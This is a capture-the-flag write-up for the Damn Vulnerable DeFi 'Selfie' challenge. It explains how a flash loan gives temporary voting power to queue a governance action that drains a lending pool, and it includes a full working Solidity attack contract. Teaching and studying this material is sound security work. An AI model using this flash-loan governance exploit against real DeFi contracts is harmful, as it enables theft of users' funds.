# Damn Vulnerable DeFi V4 - Selfie
[toc]
## Intro
A new lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million at risk.
Rescue all funds from the pool and deposit them into the designated recovery account.
<br>
## Source Code
Source code
- https://github.com/theredguild/damn-vulnerable-defi/tree/v4.0.0/src/selfie
Test
- https://github.com/theredguild/damn-vulnerable-defi/blob/v4.0.0/test/selfie/Selfie.t.sol
<br>
## Analysis
### Win Condition
1. Drain the pool
2. Transfer the funds to the `recovery`
```solidity=
function _isSolved() private view {
// Player has taken all tokens from the pool
assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens");
assertEq(
token.balanceOf(recovery),
TOKENS_IN_POOL,
"Not enough tokens in recovery account"
);
}
```
<br>
### Code Analysis - SelfiePool
1. To win the game, we need to run the `SelfiePool.emergencyExit()` function
- We need to pass the `onlyGovernance` modifier
```solidity=24
modifier onlyGovernance() {
if (msg.sender != address(governance)) {
revert CallerNotGovernance();
}
_;
}
```
2. We are not able to change the `governance` since is immutable
- **But we can execute it as `governance`**
3. There's a flashLoan function
- Won't check if borrower(`_receiver`) is the `msg.sender`
<br>
### Code Analysis - SimpleGovernance
To use this contract, the normal flow is
- `queueAction()`
- Vote the `target` execute the `msg.data`
- **The check `_hasEnoughVotes` make sure if the sender has enough voting pwer**
- Wait 2 days
- `executeAction()`
- It checks if the vote has wait for 2 days
- The `actionToExecute.target.functionCallWithValue(actionToExecute.data, actionToExecute.value);` will execute the `msg.data` was put from `queueAction()`
```solidity=53
function executeAction(uint256 actionId) external payable returns (bytes memory) {
if (!_canBeExecuted(actionId)) {
revert CannotExecute(actionId);
}
GovernanceAction storage actionToExecute = _actions[actionId];
actionToExecute.executedAt = uint64(block.timestamp);
emit ActionExecuted(actionId, msg.sender);
return actionToExecute.target.functionCallWithValue(actionToExecute.data, actionToExecute.value);
}
```
<br>
### Issue
The `_hasEnoughVotes` has logic issue
- **It only check the purposer has more than half of the total supply during the function call**
- Not check again during `executeAction()`
```solidity=100
function _hasEnoughVotes(address who) private view returns (bool) {
uint256 balance = _votingToken.getVotes(who);
uint256 halfTotalSupply = _votingToken.totalSupply() / 2;
return balance > halfTotalSupply;
}
```
We can exploit this bug by
1. Lend a flashloan, pumps up our token balance
2. Run the `queueAction()`
- Purpose a malicious vote - `SelfiePool` to run the `emergencyExit` in `msg.data`
3. Wait 2 days
4. Now we can execute the malicious vote via `executeAction()`
<br>
## Attack
1. Start the trigger
2. Start the flashLoan, and get the funds to this contract
3. ERC3156FlashBorrower's onFlashLoan callback function
- After flashLoan executes, it calls the `onFlashLoan` function from the borrower
4. simulate 2 days after
5. Starts execute the malicious vote we put earlier
6. Simply call the executeAction()
```solidity=
function test_selfie() public checkSolvedByPlayer {
AttackContract attack = new AttackContract(
address(pool),
recovery,
address(governance),
address(token)
);
// 1. Start the trigger
attack.startTrigger();
// 4. simulate s days after
vm.warp(block.timestamp + 2 days);
// 5. Starts execute the malicious vote we put earlier
attack.executeAction();
}
...
contract AttackContract is IERC3156FlashBorrower {
// setup the env, all follow the original struct
SelfiePool pool;
SimpleGovernance governance;
address recovery;
DamnValuableVotes DVT_token;
uint256 actionID;
constructor(
address _pool,
address _recovery,
address _governance,
address _token
) {
pool = SelfiePool(_pool);
recovery = _recovery;
governance = SimpleGovernance(_governance);
DVT_token = DamnValuableVotes(_token);
}
// 2. Start the flashLoan, and get the funds to this contract
function startTrigger() external {
pool.flashLoan(
IERC3156FlashBorrower(address(this)),
address(DVT_token),
1_500_000e18,
""
);
}
// 3. ERC3156FlashBorrower's onFlashLoan callback function
// After flashLoan executes, it calls the `onFlashLoan` function from the borrower
// Here we starts our malicious votes
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
// Make sure this contract can vote
DVT_token.delegate(address(this));
// Construct the malicious vote data
bytes memory maliciousVotesData = abi.encodeWithSignature(
"emergencyExit(address)",
recovery
);
// Now we have the flashloan DVT token, we can start the queueAction()
// Here we vote the Selfie Pool to execute the following data
// abi.encodeWithSignature("emergencyExit(address)", recovery)
// This maliciousVotesData will gets execute at the source code
// actionToExecute.target.functionCallWithValue(actionToExecute.data, actionToExecute.value);
actionID = governance.queueAction(address(pool), 0, maliciousVotesData);
// Make sure we are able to refund the flashloan (pool in this case)
IERC20(DVT_token).approve(address(pool), amount + fee);
// Return SUCCESS as protocol defined
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
// 6. Simply call the executeAction()
function executeAction() external {
bytes memory results = governance.executeAction(actionID);
}
}
```